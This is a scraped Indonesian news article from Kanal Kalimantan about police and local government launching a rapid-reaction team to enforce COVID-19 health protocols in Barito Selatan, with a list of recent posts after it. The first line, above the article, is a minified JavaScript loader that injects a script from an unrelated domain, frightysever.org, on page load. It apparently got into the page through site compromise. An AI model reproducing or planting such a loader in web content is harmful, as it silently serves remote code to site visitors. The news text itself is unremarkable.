(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tim Reaksi Cepat Protokol Kesehatan Barsel Resmi Diluncurkan


KANALKALIMANTAN.COM, Buntok – Tim Reaksi Cepat (TRC) penindak pelanggar protokol kesehatan Covid-19 di Kabupaten Barsel, secara resmi dilepas oleh Kapolres Barsel di halaman Mako Polres lama, Senin (21/9/2020).

Kapolres Barsel AKBP Devy Firmansyah mengatakan, hari ini pihaknya bersama pihak Pemkab Barsel yang terkait secara resmi meluncurkan TRS Protokol kesehatan Covid-19 yang langsung turun menindak para pelanggar protokol kesehatan covid di Barsel.

“Jadi dibantu pihak terkait lainnya, hari ini kita sudah mulai bergerak untuk menindak para pelanggar protokol kesehatan lewat TRC tim yang dibentuk bersama,” kata Devy kepada Kanalkalimantan.com, usai peluncuran.

Ia juga berharap, dengan telah diluncurkan TRC ini ke lapangan, bisa memberikan pemahaman yang lebih baik lagi kepada masyarakat akan pentingnya dalam mentaati protokol kesehatan dalam memerangi pandemi covid-19 di Barsel ini.

“Kita sangat berharap untuk masyarakat Barsel bisa lebih paham lagi dan sadar akan pentingnya menjalankan protokol kesehatan yang ada, guna melawan penyebaran covid-19 di Barsel ini,” pinta Devy.

Masih kata orang nomor satu di Polres Barsel itu, bahwa TNI/Polri dengan Pemerintah setempat tidak akan pernah berhenti untuk melakukan pendisiplinan masyarakat. “Terlebih untuk memutus mata rantai penyebaran covid-19 di Barsel, yang mana hingga tadi malam Barsel sendiri masih ada penambahan 2 suspeck lagi.

Maka dari itu kita akan selalu berupaya yang terbaik dalam melawan covid-19 di Barsel ini,” tutur Devy. Ditambahkan olehnya bahwa pihaknya juga telah menyerankan kepada pihak Dewan agar Perbup Barsel yang telah dibuat kemaren agar segera diperdakan sehingga bisa memberikan kekuatan di lapangan saat melakukan penindakan protokol kesehatan.

“Sehingga jika sudah diperdakan saat penindakan di lapangan bisa dilakukan penyidangan di tempat, seperti yang ada di daerah lain,” pungkas Devy.(kanalkalimantan.com/digdo)

 

Reporter: Digdo
Editor: Cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

7 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

7 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

7 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

8 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

8 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

8 jam ago

This website uses cookies.